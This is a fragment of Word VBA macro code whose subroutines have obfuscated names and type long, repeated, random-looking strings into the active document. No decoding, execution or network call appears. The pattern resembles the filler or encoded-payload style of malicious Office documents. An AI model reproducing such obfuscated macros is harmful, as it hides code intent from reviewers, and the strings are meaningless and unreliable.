Selection.TypeText "bGBaFDEdB8EC9eGd9b7c6Ed6cabE9F8Fab9AdD9DcEFbc6eBDEE7BEAGF9G7AG5bCeacAee9b8c6d"
Selection.TypeText "dcFFCECGceceeDa86ABbeAd59E8G7bCDEGE6c5D5bcbDE9ea89dCe8bBec6GG5F988C8B665E66Cd"
Selection.TypeText "B66FdaEeDCeeD7bEE955A6DBAdDGd8bFEacF6b6a9DD9bd9FCd97d66B9Ba5Cd6cD665FFDAcF67e"
Selection.TypeText "bdD89cF7Gaa7Aec568Cc97eAA6EG8DbA9e5Cd85cdDd6C8d8BBac757Ba57Ga8F6cBa5Aae96ccGF"
Selection.TypeText "d7bbb95aE77FccCdDede8e9eBdA8A8ebbc5bD87GDbdFe5GG956DF6CGFe888CDD6B9E8BA75ddB5"
Selection.TypeText "c5aCE7A6A6eG7eD96bBAacEaaFaDdcd8CGE7ebcDBC9bAB6G58e9BcCBADA98c9BCFdBCc87FFB9A"
Selection.TypeText "C6bFaddGDbaC79eB679GEFD976BaB5GE5G7eFdFB7C5c8A6AGcA58aGEa67GaBcAE6aEA5B9DBaCd"
Selection.TypeText "D65bBA5GGB5GGCEFD697E8BecE9DB88adBFBC85BDF6c85acFF6EdG8FG7CGC5F66eaGD9e9cFd6c"
Selection.TypeText "c97bdADbdFDE8CC96aGc8CGF6EAF788BABeB8d6EDDGF7b778cD8CEbBDDcdGe8C8daB8BCcGCC5E"
Selection.TypeText "CGD5Fea6AdAABceEEGG5EGc956D9dc95EB9AEG5C8dcCbBC65DBCaFdBaaec8bGGCG68eC687F5Ac"
Selection.TypeText "77cdaaAd6eadF9cFad655G66CEAECD7A9e5ae6abD6BGcGBd5d9CEe5GE98Dd6d5A7dD66accDbdD"
Selection.TypeText "8F6B9a9bBCB6AbeB9F6ddaDEbBDBeADbE9DcBBdBabdBbAecEcD9DGE8aC6B8EEe6dC85Faba8Baa"
Selection.TypeText "Faa9cAb7DGEE9C6GbDEEAb69GDF7a69B7DbF996GbEaFc6aBF7dcGBbb7dCGec5ce9eaC5a8bAeFd"
Selection.TypeText "6dF88cdGdCFEGDd85DAEE6Dc8e6BE56BdF8CGe6G7GFGAAdaA6AAcaGe8c856EFABCGF57B8E5adD"
Selection.TypeText "daBbEb68aFAAceD57887GDDBa6D6c5B89FeedGFFdFG7aDeb88b95cCF9C7Fb666C7CEGaBecdGDB"
Selection.TypeText "G6e8FdddAD5adGd7C8dGaaACC5GbbF8DeFGbEe6e8eGF9E5DBab75BEB7GDeb58Ebd5C9dDd7bd8E"
Selection.TypeText "A6EGCA55F7aeGd57E76CDb59FGccF9daE9aGEeeDde5B9Dc8D9FGbCeGBbFBA5CbD6D9beBF77Dc8"
Selection.TypeText "D5eAaaEEF556EBFG68aeAEdae9C9G56E7EAFaEdec6bD85cCC5BdFaccAAA755Fbdb65DaeDbF5C7"
Selection.TypeText "e6dBGeDaB785cCdFF75989C85cadC65E9b5dDBE8G5d5ac9668EeEAAba59BcccE8B67b87E6bFCB"
Selection.TypeText "GeC8aeAee68C8C7A86cFEac998ADc56CE5eF5BdcD69cc5d8CCDe9CEC8EECAbeBGBEdDFF7cGGbc"
Selection.TypeText "e679977A6DC97a9cbeebEBcG6B9a8Bd6BaFB6EDDFbD8bEcDBccaC6eC9cbd5Ge8CA5EGFBD8dbCe"
Selection.TypeText "a6Dc6bDbAEBAD86c8abEEDEeaDGGEcAaeDGb5DAbAEcFe7BEEGA98dDcDCaBFcBdAdD8bd56Aed7F"
Selection.TypeText "aGeG898cdbCdAcdb5dBG86BEbc5BC57aeCB5Ec5DFGAEFEd9dEeAE9de6GFdb76F6EFAEbeCEBeE5"
Selection.TypeText "DcaeCcF865FaCcddFC86BAFBd79a9979GeCBA9A8cBF7CDaCAEbb8dA77B8BB7GGdC6Aea787GAA7"
Selection.TypeText "7dE7EeC9de7d5AcEc9GeGBEbccbEacEAa59G587BdD86bBC8c96GAaBaa8c79Fe8a6GGed8CG7B8G"
Selection.TypeText "9FabdDb6CF6Aa7dB8e7b6Fd8G8D679d69GaCGF8ededacCEbF6GBbbcb8eAGa875GeeGedGEaDGD7"
Selection.TypeText "a5bDeEGFaeda7DDAD798AGDb7ebDcAE9FABBbDCD9EC7c9BAdC8dDeD9Fcb5BFGG65c6Da5AeC9EA"
Selection.TypeText "E8DBDdGD8dbAGedFAGDa9D7Dd7DEEDdbdEGbdBdDFEE6A6baFGCD9E8B57aaeGeeCbc5CD9Ce667E"
Selection.TypeText "dBad59FeFDF6dceEeD8a9Aa6FcA5aB8G8dEa7Bb756Fe6A55aCF69bebGBbFccEc9eb9d8BF7aGBb"
Selection.TypeText "ADBGe9G6cc69F6FEF55EDBb7abCce8EbbaeCCFGCAda8d9dAAbb8BE765DCdCb8AAadB5B85Cbe8b"
Selection.TypeText "CEC896FC8E9C6aaddDd75CabEbG67aFb7FcecEFc856Bc5EG5aeFCbGb7DE96baDGaCAB9E7dcC5b"
Selection.TypeText "Gc6FD689dAD6EcbAC55DAd7GaB7Bec959987aG5aACaCE6GAa5daaE5D7BFbaaa5ceE6AE79CBAEE"
Selection.TypeText "DCDA6C69GcADaF5dEFFe6EAGdDbCA57Fa9eFca7dGGA8G6a95GEbdCFb7F55AeE57FCGd7cCcbdDe"
Selection.TypeText "CFGe8DBa8C77c6a5cCcb7ADa8b8e89GB8aFccc859eEA6bFee6bEeADd9GE9bGEB5eBEDCbc99FB6"
Selection.TypeText "aCCFB6Dbb5e9eDc98bGEe8CeEae9a6GbecB7aaCeBaC7AAa7Aa7aF5ed75798b9a7bA55CbFEebb6"
Selection.TypeText "DFaGB7eE9GB8eBbDbGb7deca7C9a7a8EdeddGbcc5EeECGbF7598FFF7597DCGEEeG6DdC7a8E7AD"
Selection.TypeText "F97EEDF66Gd6B5eCB9GG7e5CAb69BEaDEGA9a5F7FCeeG99e57GccaA8D7A78EEe5FDdFE9GdCFDc"
Selection.TypeText "BD6BGDdDc86DeG98DCG9DB8G7CeD8FB8966ebDa9DDb9FFaFDA658eA55edFE8G5CGbFGba6CGdF9"
Selection.TypeParagraph
End Sub
Private Sub MemDrawLir7yipiune3754()
Options.ReplaceSelection = True
ActiveDocument.Sentences(1).Select
Selection.TypeText "e76F655Db989AABcaGee6857aFEFGFbdG6b9Ea677CDEGbc6BF665d59BFE9cd5d7cB6A75E8CA6a"
Selection.TypeText "DC7Cea5BAFbaaa65ccC79eC8E79DdBdBabC5d9cecBeFDecDdEBFea5b7bEa6FBAaEe566CabDac7"
Selection.TypeText "5GD77dBECdGbG9EDEE6bEGacb966AE6cDCad675B55b9ebc8GGd57dB9DacBC6FD8c7DG87BaBFdA"
Selection.TypeText "5AcaeBcGAa88Gbc7cGBAE77bdceaE7CCBC7EB655b6E56G5EeEB587db5FG9b8bADGGe76D89deCa"
Selection.TypeText "c9859DEEC6B899caBAA86D7A5CGCEG5DDd5cebbEC5dd8BAGD67cE69ccBecE78A7GdDBdaD8a7G7"
Selection.TypeText "GGGcdCB9EcC9CcCGd758a6E9CcDb5AFA8e9Gec9bBA96d69dE8dGAcd96b68A8e66BEaADdDaaB6E"
Selection.TypeText "76bBGc8dabbCae5Gb775GCdcEB6FFCG5ECCGCceDebeE57BCaG9CBb7CB57eebd8ed9accd6B5F86"
Selection.TypeText "eCFDA5Da6FcAddF6d7aFAEEFAdEB6cG7ce8Fe6cc68DAD87dadF88eDcD79DAB88b9EA5aCB6FEEe"
Selection.TypeText "BAFc58c5BcCGaF6F6FD9ba8dD7dBdEd87edGCEDEDcBbBE7GcA5adaEAA89FGdBBDdGdacDe5987B"
Selection.TypeText "F5CDd6dDcCEaG7GCFBCBGB8996edcBe6cGdAd66D85ebB9E6FGB69GFB7C6B9Ed7da668c6GecDBb"
Selection.TypeText "b8578576abDDGCcbFDbd8aea6FGe9GB99cc8caFAaEECDd9FGC5dE95ae659CcDD5Faa8Ae8b7dFc"
Selection.TypeText "EG8bc96c5bacGFCeGc6CddF6dGbaCd5C7cDGbcBb6FbaaFA5ee7CaD9GG98eCGa5579ed56855d7F"
Selection.TypeText "9977ccG7b5aFG5eFDa77AAcd7675B8E69E75GB85EeDCbCAEGeGAe6dGAbcGa88AbC8EFF5ad95cb"
Selection.TypeText "5EbbGD98c6bF96ddd6AceA79BFG5AE55EGbdFb6dcBe5EBb6caDF76eDe9AC86a7EeE8BEGDB969F"
Selection.TypeText "DEBdE6CebF9cAdCdCG9eEE9cdBF997ED8d89de7AcacceC9E9GeEGe7BdBCdE77ecGAFd69E7aDCA"
Selection.TypeText "8F7bGCcE7AGddB9d9CbEe6CGddFGeFdBGa97F85d5AcFae8bAeAeGDbaG76G9957aD8b7cF56bDB7"
Selection.TypeText "EE8DaFeCFdCee5cEcE985b7aG8bBe7cBAbFaBc6BB8bGBAa5DAaA859bcDebCCdbbdEGdd88GFCCc"
Selection.TypeText "bBdFebDadDDCC8F55ABCdDd8CaeGA9B96GCA79C8a7FF8c8A8AdeaeB69edE87CFdG88G8GacD57B"
Selection.TypeText "C86De655Bd6bCFGeeBe7FFe9EE9ADAC9BFaFedFCAFFGDFaaaEGaa9cAFdC79eEFGDG7BcaAD56Ed"
Selection.TypeText "cFEB6FFBcDdb89AEFaBF8aaFAD9G9bF5aB5A9CcGF6CDE5CbeB78GadeFCFeEC567EBE65c68dd6B"
Selection.TypeText "9FcF9BeEEFFF7d665FD759C85EabEdbAabdEB9bB778e9d5Cab6aBeBE8BdF8D75G7d7cEbGFcAA7"
Selection.TypeText "CbG9GA9CC98GbB6EF8GFCeaGBGFBGG7b979BCCD6GGDB6EGBAGb5DGFGCdEc77dAAc7dDGCad6abG"
Selection.TypeText "eBb9B7C86aCDFBE9BBa8Gae5DeaaDcBadF9DdE78b5BGC7AbaBaCa98edacbcec5eA7EGbFBee85C"
Selection.TypeText "Bc8AcBe67GB699D6FGaB7GDDb5D6ccdDbD56655cD9ce6EAA8be7aACdG69eb7BdA67aFDcBAcbA8"
Selection.TypeText "cAaFFd6EDBe6DF6aGAaaDF76ddd8FcCGbDdGDe56Fc566ECEG7E5GeA6EbGG8AGaabc8dG8B58Dd6"
Selection.TypeText "8676E6Dc5Fb86dDc7AeebAG56cDc9eEdG8F5a5c9G8F8aeCc6EBecedde8CBeF58BaD95E8BdbF69"
Selection.TypeText "57b77bGED6cDcD9ABCad97c6A6AeGcA7G8CA8baDDDFacbEe9e8D67ACG5e9cG6a59dEC8EGAAdDa"
Selection.TypeText "b995Gc5BbCbeAb8bAGaF6D9G7bb5B8CFAcc5d5GFD6e5GB7AB76CeaDAEc698CbCcGeAaEBdE865a"
Selection.TypeText "aeEcCF97Bb77E8GGabd7bEB98c958EFC87ABbA5DA7B988c6GaFFb6aC7GAAC8d8Cc8FG8GC56CCd"
Selection.TypeText "69AC9C7Gd7Cd9bG6CG6e768Aac7Ee59ACCBaDF5dCFdE58dG9BF9D7DBABb8ECB7EcB8Gd6Ga8dAb"
Selection.TypeText "bFc8bCcAbdAC8Gc8aD9BDcFBeEA99CG6d8c97CDEbF97CGedDa5597eEBFEGdEDbDBddBdD7DFb8C"
Selection.TypeText "78b6EBCCe78bDB5BAEBcec7DD6FDdCAa9E79b6Ea9G9G5dA95CaDFCb66CBED6dEG7bDDFca7d96E"
Selection.TypeText "E9AC9a565aG9AeFbD5ce75e59GDa6EabEDCBD8aa577aD6d8b8FGe79CGebF99e79de759576bDEA"
Selection.TypeText "87abb9B966a66BBeeDEG9aCeF7b867B7bBFGcd9e59BAb8c9aDc6GECBBFGceDDABdDCacA7Bc8GA"
Selection.TypeText "8EabFcd565Eb98d9dBeeCAGC95F7GFb98eG56B8G8E6GebBdABaaF5cBDED9Deaa7bBBG8eBe88E7"
Selection.TypeText "CeAcabe67Da95C5D7B8C6B65CGc969Fa8ccbDDAaD9GGAd76BaCb6cccF9Ba7579GF6BF6CcaCe7E"
Selection.TypeText "bD86e55edD7eG7B7DG7ECDe68b6GC7F9cEbGG97D7C6GFGGbdBcDG686G9ce5AAFF97GDGD8dDAGd"
Selection.TypeText "8GE77ae6a69FcFACAC657E8d9EeDcb9FB7d7cAEbed7be7ADcGCEa6Bd7eFFdBC66dAcCAd7aeG9a"
Selection.TypeText "Dc6DAFdAeF7ecCEdE55cFBaa96bA8cBBeCbDb8dDbG97ED5AeB7bdG8CF6dCd9GCb9EEGBd7B88eG"
Selection.TypeText "8d58AEG996EEAE8AG5EB7Ee8DC9GDEca7996ad9AABd6F77AFF58d5accadCdAFFEB9EC6ccdGeeD"
Selection.TypeText "bGBaFDEdB8EC9eGd9b7c6Ed6cabE9F8Fab9AdD9DcEFbc6eBDEE7BEAGF9G7AG5bCeacAee9b8c6d"
Selection.TypeText "dcFFCECGceceeDa86ABbeAd59E8G7bCDEGE6c5D5bcbDE9ea89dCe8bBec6GG5F988C8B665E66Cd"
Selection.TypeText "B66FdaEeDCeeD7bEE955A6DBAdDGd8bFEacF6b6a9DD9bd9FCd97d66B9Ba5Cd6cD665FFDAcF67e"
Selection.TypeText "bdD89cF7Gaa7Aec568Cc97eAA6EG8DbA9e5Cd85cdDd6C8d8BBac757Ba57Ga8F6cBa5Aae96ccGF"
Selection.TypeText "d7bbb95aE77FccCdDede8e9eBdA8A8ebbc5bD87GDbdFe5GG956DF6CGFe888CDD6B9E8BA75ddB5"
Selection.TypeText "c5aCE7A6A6eG7eD96bBAacEaaFaDdcd8CGE7ebcDBC9bAB6G58e9BcCBADA98c9BCFdBCc87FFB9A"
Selection.TypeText "C6bFaddGDbaC79eB679GEFD976BaB5GE5G7eFdFB7C5c8A6AGcA58aGEa67GaBcAE6aEA5B9DBaCd"
Selection.TypeText "D65bBA5GGB5GGCEFD697E8BecE9DB88adBFBC85BDF6c85acFF6EdG8FG7CGC5F66eaGD9e9cFd6c"
Selection.TypeText "c97bdADbdFDE8CC96aGc8CGF6EAF788BABeB8d6EDDGF7b778cD8CEbBDDcdGe8C8daB8BCcGCC5E"
Selection.TypeText "CGD5Fea6AdAABceEEGG5EGc956D9dc95EB9AEG5C8dcCbBC65DBCaFdBaaec8bGGCG68eC687F5Ac"
Selection.TypeText "77cdaaAd6eadF9cFad655G66CEAECD7A9e5ae6abD6BGcGBd5d9CEe5GE98Dd6d5A7dD66accDbdD"
Selection.TypeText "8F6B9a9bBCB6AbeB9F6ddaDEbBDBeADbE9DcBBdBabdBbAecEcD9DGE8aC6B8EEe6dC85Faba8Baa"
Selection.TypeText "Faa9cAb7DGEE9C6GbDEEAb69GDF7a69B7DbF996GbEaFc6aBF7dcGBbb7dCGec5ce9eaC5a8bAeFd"
Selection.TypeText "6dF88cdGdCFEGDd85DAEE6Dc8e6BE56BdF8CGe6G7GFGAAdaA6AAcaGe8c856EFABCGF57B8E5adD"
Selection.TypeText "daBbEb68aFAAceD57887GDDBa6D6c5B89FeedGFFdFG7aDeb88b95cCF9C7Fb666C7CEGaBecdGDB"
Selection.TypeText "G6e8FdddAD5adGd7C8dGaaACC5GbbF8DeFGbEe6e8eGF9E5DBab75BEB7GDeb58Ebd5C9dDd7bd8E"
Selection.TypeText "A6EGCA55F7aeGd57E76CDb59FGccF9daE9aGEeeDde5B9Dc8D9FGbCeGBbFBA5CbD6D9beBF77Dc8"
Selection.TypeText "D5eAaaEEF556EBFG68aeAEdae9C9G56E7EAFaEdec6bD85cCC5BdFaccAAA755Fbdb65DaeDbF5C7"
Selection.TypeText "e6dBGeDaB785cCdFF75989C85cadC65E9b5dDBE8G5d5ac9668EeEAAba59BcccE8B67b87E6bFCB"
Selection.TypeText "GeC8aeAee68C8C7A86cFEac998ADc56CE5eF5BdcD69cc5d8CCDe9CEC8EECAbeBGBEdDFF7cGGbc"
Selection.TypeText "e679977A6DC97a9cbeebEBcG6B9a8Bd6BaFB6EDDFbD8bEcDBccaC6eC9cbd5Ge8CA5EGFBD8dbCe"
Selection.TypeText "a6Dc6bDbAEBAD86c8abEEDEeaDGGEcAaeDGb5DAbAEcFe7BEEGA98dDcDCaBFcBdAdD8bd56Aed7F"
Selection.TypeText "aGeG898cdbCdAcdb5dBG86BEbc5BC57aeCB5Ec5DFGAEFEd9dEeAE9de6GFdb76F6EFAEbeCEBeE5"
Selection.TypeText "DcaeCcF865FaCcddFC86BAFBd79a9979GeCBA9A8cBF7CDaCAEbb8dA77B8BB7GGdC6Aea787GAA7"
Selection.TypeText "7dE7EeC9de7d5AcEc9GeGBEbccbEacEAa59G587BdD86bBC8c96GAaBaa8c79Fe8a6GGed8CG7B8G"
Selection.TypeText "9FabdDb6CF6Aa7dB8e7b6Fd8G8D679d69GaCGF8ededacCEbF6GBbbcb8eAGa875GeeGedGEaDGD7"
Selection.TypeText "a5bDeEGFaeda7DDAD798AGDb7ebDcAE9FABBbDCD9EC7c9BAdC8dDeD9Fcb5BFGG65c6Da5AeC9EA"
Selection.TypeText "E8DBDdGD8dbAGedFAGDa9D7Dd7DEEDdbdEGbdBdDFEE6A6baFGCD9E8B57aaeGeeCbc5CD9Ce667E"
Selection.TypeText "dBad59FeFDF6dceEeD8a9Aa6FcA5aB8G8dEa7Bb756Fe6A55aCF69bebGBbFccEc9eb9d8BF7aGBb"
Selection.TypeText "ADBGe9G6cc69F6FEF55EDBb7abCce8EbbaeCCFGCAda8d9dAAbb8BE765DCdCb8AAadB5B85Cbe8b"
Selection.TypeText "CEC896FC8E9C6aaddDd75CabEbG67aFb7FcecEFc856Bc5EG5aeFCbGb7DE96baDGaCAB9E7dcC5b"
Selection.TypeText "Gc6FD689dAD6EcbAC55DAd7GaB7Bec959987aG5aACaCE6GAa5daaE5D7BFbaaa5ceE6AE79CBAEE"
Selection.TypeText "DCDA6C69GcADaF5dEFFe6EAGdDbCA57Fa9eFca7dGGA8G6a95GEbdCFb7F55AeE57FCGd7cCcbdDe"
Selection.TypeText "CFGe8DBa8C77c6a5cCcb7ADa8b8e89GB8aFccc859eEA6bFee6bEeADd9GE9bGEB5eBEDCbc99FB6"
Selection.TypeText "aCCFB6Dbb5e9eDc98bGEe8CeEae9a6GbecB7aaCeBaC7AAa7Aa7aF5ed75798b9a7bA55CbFEebb6"
Selection.TypeText "DFaGB7eE9GB8eBbDbGb7deca7C9a7a8EdeddGbcc5EeECGbF7598FFF7597DCGEEeG6DdC7a8E7AD"
Selection.TypeText "F97EEDF66Gd6B5eCB9GG7e5CAb69BEaDEGA9a5F7FCeeG99e57GccaA8D7A78EEe5FDdFE9GdCFDc"
Selection.TypeText "BD6BGDdDc86DeG98DCG9DB8G7CeD8FB8966ebDa9DDb9FFaFDA658eA55edFE8G5CGbFGba6CGdF9"
Selection.TypeParagraph
End Sub
Private Sub MemDrasdrtuwLine3754()
Options.ReplaceSelection = True
ActiveDocument.Sentences(1).Select
Selection.TypeText "e76F655Db989AABcaGee6857aFEFGFbdG6b9Ea677CDEGbc6BF665d59BFE9cd5d7cB6A75E8CA6a"
Selection.TypeText "DC7Cea5BAFbaaa65ccC79eC8E79DdBdBabC5d9cecBeFDecDdEBFea5b7bEa6FBAaEe566CabDac7"
Selection.TypeText "5GD77dBECdGbG9EDEE6bEGacb966AE6cDCad675B55b9ebc8GGd57dB9DacBC6FD8c7DG87BaBFdA"
Selection.TypeText "5AcaeBcGAa88Gbc7cGBAE77bdceaE7CCBC7EB655b6E56G5EeEB587db5FG9b8bADGGe76D89deCa"
Selection.TypeText "c9859DEEC6B899caBAA86D7A5CGCEG5DDd5cebbEC5dd8BAGD67cE69ccBecE78A7GdDBdaD8a7G7"
Selection.TypeText "GGGcdCB9EcC9CcCGd758a6E9CcDb5AFA8e9Gec9bBA96d69dE8dGAcd96b68A8e66BEaADdDaaB6E"
Selection.TypeText "76bBGc8dabbCae5Gb775GCdcEB6FFCG5ECCGCceDebeE57BCaG9CBb7CB57eebd8ed9accd6B5F86"
Selection.TypeText "eCFDA5Da6FcAddF6d7aFAEEFAdEB6cG7ce8Fe6cc68DAD87dadF88eDcD79DAB88b9EA5aCB6FEEe"
Selection.TypeText "BAFc58c5BcCGaF6F6FD9ba8dD7dBdEd87edGCEDEDcBbBE7GcA5adaEAA89FGdBBDdGdacDe5987B"
Selection.TypeText "F5CDd6dDcCEaG7GCFBCBGB8996edcBe6cGdAd66D85ebB9E6FGB69GFB7C6B9Ed7da668c6GecDBb"
Selection.TypeText "b8578576abDDGCcbFDbd8aea6FGe9GB99cc8caFAaEECDd9FGC5dE95ae659CcDD5Faa8Ae8b7dFc"
Selection.TypeText "EG8bc96c5bacGFCeGc6CddF6dGbaCd5C7cDGbcBb6FbaaFA5ee7CaD9GG98eCGa5579ed56855d7F"
Selection.TypeText "9977ccG7b5aFG5eFDa77AAcd7675B8E69E75GB85EeDCbCAEGeGAe6dGAbcGa88AbC8EFF5ad95cb"
Selection.TypeText "5EbbGD98c6bF96ddd6AceA79BFG5AE55EGbdFb6dcBe5EBb6caDF76eDe9AC86a7EeE8BEGDB969F"
Selection.TypeText "DEBdE6CebF9cAdCdCG9eEE9cdBF997ED8d89de7AcacceC9E9GeEGe7BdBCdE77ecGAFd69E7aDCA"
Selection.TypeText "8F7bGCcE7AGddB9d9CbEe6CGddFGeFdBGa97F85d5AcFae8bAeAeGDbaG76G9957aD8b7cF56bDB7"
Selection.TypeText "EE8DaFeCFdCee5cEcE985b7aG8bBe7cBAbFaBc6BB8bGBAa5DAaA859bcDebCCdbbdEGdd88GFCCc"
Selection.TypeText "bBdFebDadDDCC8F55ABCdDd8CaeGA9B96GCA79C8a7FF8c8A8AdeaeB69edE87CFdG88G8GacD57B"
Selection.TypeText "C86De655Bd6bCFGeeBe7FFe9EE9ADAC9BFaFedFCAFFGDFaaaEGaa9cAFdC79eEFGDG7BcaAD56Ed"
Selection.TypeText "cFEB6FFBcDdb89AEFaBF8aaFAD9G9bF5aB5A9CcGF6CDE5CbeB78GadeFCFeEC567EBE65c68dd6B"
Selection.TypeText "9FcF9BeEEFFF7d665FD759C85EabEdbAabdEB9bB778e9d5Cab6aBeBE8BdF8D75G7d7cEbGFcAA7"
Selection.TypeText "CbG9GA9CC98GbB6EF8GFCeaGBGFBGG7b979BCCD6GGDB6EGBAGb5DGFGCdEc77dAAc7dDGCad6abG"
Selection.TypeText "eBb9B7C86aCDFBE9BBa8Gae5DeaaDcBadF9DdE78b5BGC7AbaBaCa98edacbcec5eA7EGbFBee85C"
Selection.TypeText "Bc8AcBe67GB699D6FGaB7GDDb5D6ccdDbD56655cD9ce6EAA8be7aACdG69eb7BdA67aFDcBAcbA8"
Selection.TypeText "cAaFFd6EDBe6DF6aGAaaDF76ddd8FcCGbDdGDe56Fc566ECEG7E5GeA6EbGG8AGaabc8dG8B58Dd6"
Selection.TypeText "8676E6Dc5Fb86dDc7AeebAG56cDc9eEdG8F5a5c9G8F8aeCc6EBecedde8CBeF58BaD95E8BdbF69"
Selection.TypeText "57b77bGED6cDcD9ABCad97c6A6AeGcA7G8CA8baDDDFacbEe9e8D67ACG5e9cG6a59dEC8EGAAdDa"
Selection.TypeText "b995Gc5BbCbeAb8bAGaF6D9G7bb5B8CFAcc5d5GFD6e5GB7AB76CeaDAEc698CbCcGeAaEBdE865a"
Selection.TypeText "aeEcCF97Bb77E8GGabd7bEB98c958EFC87ABbA5DA7B988c6GaFFb6aC7GAAC8d8Cc8FG8GC56CCd"
Selection.TypeText "69AC9C7Gd7Cd9bG6CG6e768Aac7Ee59ACCBaDF5dCFdE58dG9BF9D7DBABb8ECB7EcB8Gd6Ga8dAb"
Selection.TypeText "bFc8bCcAbdAC8Gc8aD9BDcFBeEA99CG6d8c97CDEbF97CGedDa5597eEBFEGdEDbDBddBdD7DFb8C"
Selection.TypeText "78b6EBCCe78bDB5BAEBcec7DD6FDdCAa9E79b6Ea9G9G5dA95CaDFCb66CBED6dEG7bDDFca7d96E"
Selection.TypeText "E9AC9a565aG9AeFbD5ce75e59GDa6EabEDCBD8aa577aD6d8b8FGe79CGebF99e79de759576bDEA"
Selection.TypeText "87abb9B966a66BBeeDEG9aCeF7b867B7bBFGcd9e59BAb8c9aDc6GECBBFGceDDABdDCacA7Bc8GA"
Selection.TypeText "8EabFcd565Eb98d9dBeeCAGC95F7GFb98eG56B8G8E6GebBdABaaF5cBDED9Deaa7bBBG8eBe88E7"
Selection.TypeText "CeAcabe67Da95C5D7B8C6B65CGc969Fa8ccbDDAaD9GGAd76BaCb6cccF9Ba7579GF6BF6CcaCe7E"
Selection.TypeText "bD86e55edD7eG7B7DG7ECDe68b6GC7F9cEbGG97D7C6GFGGbdBcDG686G9ce5AAFF97GDGD8dDAGd"
Selection.TypeText "8GE77ae6a69FcFACAC657E8d9EeDcb9FB7d7cAEbed7be7ADcGCEa6Bd7eFFdBC66dAcCAd7aeG9a"
Selection.TypeText "Dc6DAFdAeF7ecCEdE55cFBaa96bA8cBBeCbDb8dDbG97ED5AeB7bdG8CF6dCd9GCb9EEGBd7B88eG"
Selection.TypeText "8d58AEG996EEAE8AG5EB7Ee8DC9GDEca7996ad9AABd6F77AFF58d5accadCdAFFEB9EC6ccdGeeD"
Selection.TypeText "bGBaFDEdB8EC9eGd9b7c6Ed6cabE9F8Fab9AdD9DcEFbc6eBDEE7BEAGF9G7AG5bCeacAee9b8c6d"
Selection.TypeText "dcFFCECGceceeDa86ABbeAd59E8G7bCDEGE6c5D5bcbDE9ea89dCe8bBec6GG5F988C8B665E66Cd"
Selection.TypeText "B66FdaEeDCeeD7bEE955A6DBAdDGd8bFEacF6b6a9DD9bd9FCd97d66B9Ba5Cd6cD665FFDAcF67e"
Selection.TypeText "bdD89cF7Gaa7Aec568Cc97eAA6EG8DbA9e5Cd85cdDd6C8d8BBac757Ba57Ga8F6cBa5Aae96ccGF"
Selection.TypeText "d7bbb95aE77FccCdDede8e9eBdA8A8ebbc5bD87GDbdFe5GG956DF6CGFe888CDD6B9E8BA75ddB5"
Selection.TypeText "c5aCE7A6A6eG7eD96bBAacEaaFaDdcd8CGE7ebcDBC9bAB6G58e9BcCBADA98c9BCFdBCc87FFB9A"
Selection.TypeText "C6bFaddGDbaC79eB679GEFD976BaB5GE5G7eFdFB7C5c8A6AGcA58aGEa67GaBcAE6aEA5B9DBaCd"
Selection.TypeText "D65bBA5GGB5GGCEFD697E8BecE9DB88adBFBC85BDF6c85acFF6EdG8FG7CGC5F66eaGD9e9cFd6c"
Selection.TypeText "c97bdADbdFDE8CC96aGc8CGF6EAF788BABeB8d6EDDGF7b778cD8CEbBDDcdGe8C8daB8BCcGCC5E"
Selection.TypeText "CGD5Fea6AdAABceEEGG5EGc956D9dc95EB9AEG5C8dcCbBC65DBCaFdBaaec8bGGCG68eC687F5Ac"
Selection.TypeText "77cdaaAd6eadF9cFad655G66CEAECD7A9e5ae6abD6BGcGBd5d9CEe5GE98Dd6d5A7dD66accDbdD"
Selection.TypeText "8F6B9a9bBCB6AbeB9F6ddaDEbBDBeADbE9DcBBdBabdBbAecEcD9DGE8aC6B8EEe6dC85Faba8Baa"
Selection.TypeText "Faa9cAb7DGEE9C6GbDEEAb69GDF7a69B7DbF996GbEaFc6aBF7dcGBbb7dCGec5ce9eaC5a8bAeFd"
Selection.TypeText "6dF88cdGdCFEGDd85DAEE6Dc8e6BE56BdF8CGe6G7GFGAAdaA6AAcaGe8c856EFABCGF57B8E5adD"
Selection.TypeText "daBbEb68aFAAceD57887GDDBa6D6c5B89FeedGFFdFG7aDeb88b95cCF9C7Fb666C7CEGaBecdGDB"
Selection.TypeText "G6e8FdddAD5adGd7C8dGaaACC5GbbF8DeFGbEe6e8eGF9E5DBab75BEB7GDeb58Ebd5C9dDd7bd8E"
Selection.TypeText "A6EGCA55F7aeGd57E76CDb59FGccF9daE9aGEeeDde5B9Dc8D9FGbCeGBbFBA5CbD6D9beBF77Dc8"
Selection.TypeText "D5eAaaEEF556EBFG68aeAEdae9C9G56E7EAFaEdec6bD85cCC5BdFaccAAA755Fbdb65DaeDbF5C7"
Selection.TypeText "e6dBGeDaB785cCdFF75989C85cadC65E9b5dDBE8G5d5ac9668EeEAAba59BcccE8B67b87E6bFCB"
Selection.TypeText "GeC8aeAee68C8C7A86cFEac998ADc56CE5eF5BdcD69cc5d8CCDe9CEC8EECAbeBGBEdDFF7cGGbc"
Selection.TypeText "e679977A6DC97a9cbeebEBcG6B9a8Bd6BaFB6EDDFbD8bEcDBccaC6eC9cbd5Ge8CA5EGFBD8dbCe"
Selection.TypeText "a6Dc6bDbAEBAD86c8abEEDEeaDGGEcAaeDGb5DAbAEcFe7BEEGA98dDcDCaBFcBdAdD8bd56Aed7F"
Selection.TypeText "aGeG898cdbCdAcdb5dBG86BEbc5BC57aeCB5Ec5DFGAEFEd9dEeAE9de6GFdb76F6EFAEbeCEBeE5"
Selection.TypeText "DcaeCcF865FaCcddFC86BAFBd79a9979GeCBA9A8cBF7CDaCAEbb8dA77B8BB7GGdC6Aea787GAA7"
Selection.TypeText "7dE7EeC9de7d5AcEc9GeGBEbccbEacEAa59G587BdD86bBC8c96GAaBaa8c79Fe8a6GGed8CG7B8G"
Selection.TypeText "9FabdDb6CF6Aa7dB8e7b6Fd8G8D679d69GaCGF8ededacCEbF6GBbbcb8eAGa875GeeGedGEaDGD7"
Selection.TypeText "a5bDeEGFaeda7DDAD798AGDb7ebDcAE9FABBbDCD9EC7c9BAdC8dDeD9Fcb5BFGG65c6Da5AeC9EA"
Selection.TypeText "E8DBDdGD8dbAGedFAGDa9D7Dd7DEEDdbdEGbdBdDFEE6A6baFGCD9E8B57aaeGeeCbc5CD9Ce667E"
Selection.TypeText "dBad59FeFDF6dceEeD8a9Aa6FcA5aB8G8dEa7Bb756Fe6A55aCF69bebGBbFccEc9eb9d8BF7aGBb"
